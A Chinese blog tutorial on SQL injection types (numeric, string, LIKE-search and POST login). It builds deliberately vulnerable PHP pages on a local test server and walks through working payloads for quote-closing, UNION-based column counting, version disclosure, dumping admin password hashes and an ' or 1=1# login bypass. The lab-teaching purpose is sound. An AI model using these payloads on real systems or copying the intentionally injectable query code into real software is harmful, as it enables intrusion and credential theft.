sql注入之注入类型

数字型

数字型在上一篇文章sql注入之入门,已经讲过

数字型简单的判断是否有注入

1
2
and 1=1		//返回正常
and 1=2 //返回错误




字符串型

如何判断字符串型是否有注入

首先先创建一个数据库,在里面分别创建两个表,admin,page,然后在里面插入数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql> create database sqlinstr default character set utf8 collate utf8_general_ci;
mysql> use sqlinstr;
mysql> create table admin(
id int(3) auto_increment not null primary key,
username varchar(15) not null,
password char(32));
mysql> create table page(
id int(3) auto_increment not null primary key,
title varchar(20),
content varchar(255));
mysql> insert into admin(username,password) values('smelond','efe6398127928f1b2e9ef3207fb82663');
mysql> insert into admin(username,password) values('admin','efe6398127928f1b2e9ef3207fb82663');
mysql> insert into page(title,content) values('sqlzhuru','https://smelond.com');
mysql> insert into page(title,content) values('test','smelond.com');

拿着我们的php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<title>sql注入-注入类型-字符串</title>
</head>
<body>
<!--
author: smelond
filename: index.php
blog: http://smelond.com
sql注入-注入类型-字符串
-->
<body/>
</html>
<?php
$id = $_GET['x'];
$link=mysqli_connect("127.0.0.1","root","root","sqlinstr");//连接sqlinstr数据库
if ($link) {//判断数据库是否存在
mysqli_query($link,"set names utf8");//设置编码格式
$sql="select * from page where id='$id'";//查询
$re=mysqli_query($link,$sql);//执行查询语句
$data=mysqli_fetch_assoc($re);//获取数据库返回的内容
echo "文章id:".$data['id']."<hr />";
echo "文章标题:".$data['title']."<hr />";
echo "文章内容:".$data['content']."<hr />";
echo "当前执行sql语句:".$sql;
}else{
echo "好像出错了,原因有很多...所以你先去看看你的数据库配置好没。。。";
}
?>

打开我们的网址http://127.0.0.1/webpentest/str/index.php
打开会后看到下面的当前执行sql语句:select * from page where id=’’
传值进去:

文章id:1文章标题:sqlzhuru
文章内容:https://smelond.com
当前执行sql语句:select * from page where id=’1’
这个时候内容已经查询出来了,但是发现后面的id=’1’,1被单引号括起来了

如何注入

首先我们试试:
and 1=1

1
2
http://127.0.0.1/webpentest/str/index.php?x=1 and 1=1 	//结果返回正常
当前执行sql语句:select * from page where id='1 and 1=1' //有没有发现这里怪怪的

and 1=2

1
2
http://127.0.0.1/webpentest/str/index.php?x=1 and 1=2	//结果还是返回正常,难道没有注入???
当前执行sql语句:select * from page where id='1 and 1=2'

从上面我们看到:id=’1 and 1=1’ 和 id=’1 and 1=2’,发现我们输入进去的内容全部被’’包裹起来了
那为什么会返回正常呢?
打开mysql:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select id from page where id='1 and 1=1';
+----+
| id |
+----+
| 1 |
+----+
1 row in set, 1 warning (0.00 sec)

mysql> select id from page where id='1 and 1=2';
+----+
| id |
+----+
| 1 |
+----+
1 row in set, 1 warning (0.00 sec)

这回知道为什么会有返回值了吧,可以看出空格后面的应该是直接被截断了,所有理论上查询的还是id=1

如何突破

由于看到上面每一条sql语句后面都有一个’单引号,前面也有一个
所以我们可以在id=1后面加上一个’单引号,看一下是什么效果

1
http://127.0.0.1/webpentest/str/index.php?x=1'

当我们执行这个网址时,发现页面报错了,这个时候应该就可以判断是否有注入了
报错,表示他应该是从数据库里面查询的
报错信息:

1
Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, boolean given in D:\phpStudy\PHPTutorial\WWW\webpentest\str\index.php on line 21

下面有当前执行sql语句:select * from page where id=’1’’

可以看到1’成功的带入进去了

接下来继续构造注入语句:

1
2
x=1' and '1'='1
http://127.0.0.1/webpentest/str/index.php?x=1' and '1'='1

那么执行的语句将会是这样的

1
当前执行sql语句:select * from page where id='1' and '1'='1'

上面我们又看到id=’1’ and ‘1’=’1’,并且页面返回正常了,这回没毛病了吧,哈哈哈!!!

接着构造语句:

1
x=1' and '1'='2

执行语句:

1
http://127.0.0.1/webpentest/str/index.php?x=1' and '1'='2

现在已经有了我们想要的结果了,页面没有正常显示
当前执行的sql语句:

1
select * from page where id='1' and '1'='2'

使用一些常用的关键字

那么,order by在哪里加?在这里,其实order by是不起作用的
已经可以看出,and ‘1’=’1后面是不能加了,如果加上去,语句会变成
但是加到前面,无论order by number=? 都会是正常返回值,所以,这个地方order by不能用

1
2
3
4
5
select * from page where id='1' and '1'='1 order by 3' 
select * from page where id='1' and '1'='2 order by 3'
http://127.0.0.1/webpentest/str/index.php?x=1' order by 3 and '1'='1 //页面返回正常
http://127.0.0.1/webpentest/str/index.php?x=1' order by 4 and '1'='1 //页面返回正常
http://127.0.0.1/webpentest/str/index.php?x=1' order by 100 and '1'='1 //页面返回正常

看到上面的100都能返回正常,但是我们数据库里面的page表只有3个字段,所以,可以看出order by在这里是有问题的

既然order by有问题,那我们试试select会怎么样?

1
2
3
4
http://127.0.0.1/webpentest/str/index.php?x=1' and 1=2 union select 1 and '1'='1 //页面报错
http://127.0.0.1/webpentest/str/index.php?x=1' and 1=2 union select 1,2 and '1'='1 //页面报错
http://127.0.0.1/webpentest/str/index.php?x=1' and 1=2 union select 1,2,3 and '1'='1 //页面正常显示
http://127.0.0.1/webpentest/str/index.php?x=1' and 1=2 union select 1,2,3,4 and '1'='1 //页面报错

select 已经判断出来了有三个字段,在一般情况下,select 1是不会报错的,在字段总数以前都不会报错,可能使我这里的php代码写的有问题,才导致了这种情况发生

接着查询一下数据库里版本,用户等等:

1
http://127.0.0.1/webpentest/str/index.php?x=1' and 1=2 union select concat(database(),'---',user(),'---',version()),2,3 and '1'='2

结果:
sqlinstr---root@localhost---5.5.53

剩下的爆库爆表前面里面已经说过了

但是有一个地方不同,在查询表时,后面的条件需要改动。
需要将and ‘1’=’2 改为where ‘1’=’1
为什么?
接下来我们又进入mysql中查询

1
2
3
4
5
mysql> select username,password from admin and '1'='2';
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'and '1'='2'' at line 1
那试试and '1'='1'
mysql> select username,password from admin and '1'='1';
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'and '1'='1'' at line 1

结果都报错了
那现在该怎么办呢?
所以我想问,你有见过查询语句完了之后在后面加上and的吗?
所以这个地方得加上条件where
如何加?
1=1 , ‘1’=’1’
所以可已用where ‘1’=’1’

1
2
3
4
5
6
7
8
mysql> select username,password from admin where '1'='1';
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| smelond | efe6398127928f1b2e9ef3207fb82663 |
| admin | efe6398127928f1b2e9ef3207fb82663 |
+----------+----------------------------------+
2 rows in set (0.00 sec) //现在成功了吧

构造sql语句:

1
http://127.0.0.1/webpentest/str/index.php?x=1' and 1=2 union select username,password,3 from admin where '1'='1

密码就这样爆出来了

Alt text




搜索型

看了上面的字符串型,好像也不难,就是单引号问题
接下来,我们来看看搜索型
搜索型一般出现在搜索框当中,我这里写了一个简单的搜索页面标题,返回页面内容的php代码
数据库我们还是用上面的sqlinstr数据库
代码贴上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<title>sql注入-注入类型-搜索型</title>
</head>
<body>
<!--
author: smelond
filename: index.php
blog: http://smelond.com
sql注入-注入类型-搜索型
-->
<form action="">
<input type="text" name="x" id=""> //文本框
<input type="submit" name="" id="" value="搜素"> //提交按钮
</form>
<body/>
</html>
<?php
$title = $_GET['x']; //接收x变量,上面文本框的值
$link=mysqli_connect("127.0.0.1","root","root","sqlinstr");//连接sqlinstr数据库
if ($link) {//判断数据库是否存在
mysqli_query($link,"set names utf8");//设置编码格式
$sql="select * from page where title like '%$title%'";//查询,使用了like关键字,查找输入的内容
if ($sql == "select * from page where title like '%%'") {
continue;
}
$re=mysqli_query($link,$sql);//执行查询语句
$data=mysqli_fetch_assoc($re);//获取数据库返回的内容
echo "文章id:".$data['id']."<hr />";
echo "文章标题:".$data['title']."<hr />";
echo "文章内容:".$data['content']."<hr />";
echo "当前执行sql语句:".$sql;
}else{
echo "好像出错了,原因有很多...所以你先去看看你的数据库配置好没。。。";
}
?>

上面可以看到我们php代码里面的两个“%”百分号
查询语句将会为:select * from page where title like ‘%%’
如果我们在里面加入内容,查询语句将会为:

1
select * from page where title like '%test%'	//查询title='test'的内容

如何突破

突破其实也很简单,上面的字符串类型为’’
这里的搜索型为’%%’
那我们直接利用字符串的思路,将搜索%’闭合

1
test%' and '100%'='100

那么我们构造执行的语句将会是这样的:

1
http://127.0.0.1/webpentest/search/index.php?x=test%' and '100%'='100

语句结果:

1
当前执行sql语句:select * from page where title like '%test%' and '100%'='100%' 	//正常返回,并且所搜到了test的内容,返回了页面内容

Alt text

构造其他的语句:

1
2
3
4
5
6
http://127.0.0.1/webpentest/search/index.php?x=test%' and 1=1 order by 4 and '100%'='100  //返回正确,显然order by还是不能用。。。
http://127.0.0.1/webpentest/search/index.php?x=test%' and 1=2 union select 1 and '100%'='100 //错误
http://127.0.0.1/webpentest/search/index.php?x=test%' and 1=2 union select 1,2 and '100%'='100 //错误
http://127.0.0.1/webpentest/search/index.php?x=test%' and 1=2 union select 1,2,3 and '100%'='100 //正确,判断出来了3个字段
http://127.0.0.1/webpentest/search/index.php?x=test%' and 1=2 union select 1,2,3,4 and '100%'='100 //错误
http://127.0.0.1/webpentest/search/index.php?x=test%' and 1=2 union select username,password,3 from admin where '100%'='100

构造其他的语句就简单了
但是记得在爆库表爆字段,查询账号密码时记得额将and ‘100%’=’100改为where ‘100%’=’100
Alt text




提交注入

两种常见的提交注入:分别是GET和POST
GET我们已经在上面说了,比如搜索框,还有就是在网址上,总之前面说到的所有注入全部都是GET型
我们可以从前面的php代码中发现这段代码

1
$id = $_GET['x'];

那么,POST提交当然就是这样写的:

1
$id = $_POST['x'];

很简单,直接将GET写为POST即可

这两种请求有什么区别?

听说这是标准答案:

  • GET在浏览器回退时是无害的,而POST会再次提交请求。
  • GET产生的URL地址可以被Bookmark,而POST不可以。
  • GET请求会被浏览器主动cache,而POST不会,除非手动设置。
  • GET请求只能进行url编码,而POST支持多种编码方式。
  • GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留。
  • GET请求在URL中传送的参数是有长度限制的,而POST么有。
  • 对参数的数据类型,GET只接受ASCII字符,而POST没有限制。
  • GET比POST更不安全,因为参数直接暴露在URL上,所以不能用来传递敏感信息。
  • GET参数通过URL传递,POST放在Request body中。

有一篇文章99%的人理解错 HTTP 中 GET 与 POST 的区别,否定了上述回答:“很遗憾,这不是我们要的回答!”,作者说:
GET和POST本质上就是TCP链接,并无差别。但是由于HTTP的规定和浏览器/服务器的限制,导致他们在应用过程中体现出一些不同。 GET和POST还有一个重大区别,简单的说:GET产生一个TCP数据包;POST产生两个TCP数据包。对于GET方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据); 而对于POST,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。

感觉这篇文章还是比较高大上的
这里先不扯这么多了,了解了post和get的区别之后我们来看看post提交注入

post提交注入

还是用前面用过的数据库sqlinstr,但是表用admin表,因为这是登录,需要验证是否登录成功,具体看代码

贴上我的html+php代码:
文件名:index.html登录页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>sql注入-POST提交注入-登录框</title>
</head>
<body>
<!--
author: smelond
filename: index.php
blog: http://smelond.com
sql注入-POST提交注入-登录框
-->
<div style="margin: 0px auto;width: 400px;text-align: center;">
<form action="index.php" method="POST">
<fieldset>
<legend>登录</legend>
<input type="text" name="username" placeholder="请输入用户名"><br>
<input type="password" name="password" placeholder="请输入密码"><br>
<input type="submit" name="sub" value="登录"><br>
</fieldset>
</form>
</div>
</body>
</html>

文件名:index.php后台页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<title>sql注入-POST提交注入-后台页面</title>
</head><body>
<!--
author: smelond
filename: index.php
blog: http://smelond.com
sql注入-POST提交注入-后台页面
-->
</body></html>
<?php
$username = $_POST['username'];
$password = $_POST['password'];
if ($username == '') {
exit("用户名不能为空");
}
if ($password == '') {
exit("密码不能为空");
}
$password = md5($password);
// echo "$password";
$link = mysqli_connect("127.0.0.1","root","root","sqlinstr");//连接sqlinstr数据库
if ($link) {//判断数据库是否存在
mysqli_query($link,"set names utf8");//设置编码格式
$sql = "select * from admin where username='$username' and password='$password'";//查询
$re = mysqli_query($link,$sql);//执行查询语句
$data = mysqli_fetch_assoc($re);//获取数据库返回的内容
if ($data) {//判断是否有返回值
// var_dump($data);
echo "后台页面:<br />";
echo "欢迎你:".$username;
}else{//否者错误
echo "用户名或密码不正确";
}
echo "<br />"."当前执行sql语句:".$sql;
}else{
echo "好像出错了,原因有很多...所以你先去看看你的数据库配置好没。。。";
}
?>

现在打开我们的url:

1
http://127.0.0.1/webpentest/postrequest/index.html

Alt text

看到登录页面已经写好了,试着登录一下
Alt text
登录成功

那么怎么绕过,直接登录呢?
从登陆页面的sql语句中可以看到语句为:

1
select * from admin where username='smelond' and password='efe6398127928f1b2e9ef3207fb82663'

想了想,这个语句应该可以直接注释吧?
好了,返回index.html页面
我们去注释一下

1
2
账号:smelond#
密码:asdfas

发现登录失败
看看,我们只是单纯的在用户名后面加上了#号,那么现在语句变成了:

1
select * from admin where username='smelond

看看我们构造的语句,明显不完整

那我们来构造一条完整的语句:

1
2
smelond'#	//#号将后面的注释了
select * from admin where username='smelond' //所以语句直接变成了这个

一般我们会这样写:

1
2
smelond' or 1=1#
select * from admin where username='smelond' or 1=1

页面上显示了欢迎你,我们已经进入后台了
Alt text

如果后台有查询数据库,那我们可以直接在登录页面将爆库,爆表,爆密码:

那我们将上面的后台代码修改一下,让他有数据库查询,并且回显:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<title>sql注入-POST提交注入-后台页面</title>
</head><body>
<!--
author: smelond
filename: index.php
blog: http://smelond.com
sql注入-POST提交注入-后台页面
-->
</body></html>
<?php
$username = $_POST['username'];
$password = $_POST['password'];
if ($username == '') {
exit("用户名不能为空");
}
if ($password == '') {
exit("密码不能为空");
}
$password = md5($password);
// echo "$password";
$link = mysqli_connect("127.0.0.1","root","root","sqlinstr");//连接sqlinstr数据库
if ($link) {//判断数据库是否存在
mysqli_query($link,"set names utf8");//设置编码格式
$sql = "select * from admin where username='$username' and password='$password'";//查询
$re = mysqli_query($link,$sql);//执行查询语句
$data = mysqli_fetch_assoc($re);//获取数据库返回的内容
if ($data) {//判断是否有返回值
// var_dump($data);
echo "后台页面:<br />";
// echo "欢迎你:".$username;
echo "欢迎你:".$data['username']."<hr />"; //我们只修改了这句
}else{//否者错误
echo "用户名或密码不正确";
}
echo "<br />"."当前执行sql语句:".$sql;
}else{
echo "好像出错了,原因有很多...所以你先去看看你的数据库配置好没。。。";
}
?>

上面我们只修改了一句,但是效果就不一样了
打开index.html
在账号框中输入:

1
' and 1=2 union select 1,2,3 or 1=1#

Alt text

这个时候,可以看到成功登录,并且用户名为:2
注意回显的是2,所以我们在登录框输入时,只能改动2,其他地方改动无效、

接着从新输入:

1
' and 1=2 union select 1,database(),3 or 1=1#

用户名:sqlinstr

这个时候我们输入用concat是最好不过的了

1
' and 1=2 union select 1,concat(database(),'---',user(),'---',version()),3 or 1=1#

用户名:sqlinstr---root@localhost---5.5.53

爆账号密码:

1
asd' and 1=1 union select 1,concat(username,'--',password),3 from admin where 1=1#asad

注意,在简单的查询语句后面不能加and 和 or ,所以我们这里加上了where
Alt text

好了,差不多了,这个SQL注入类型就先说这么多~~
当然,注入里面还有其他的注入,比如:cookie注入,http头注入

本文标题:sql注入之注入类型

文章作者:smelond

发布时间:2018年04月02日 - 08:04

最后更新:2018年04月04日 - 10:04

原始链接:http://smelond.com/2018/04/02/sql注入之注入类型/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

分享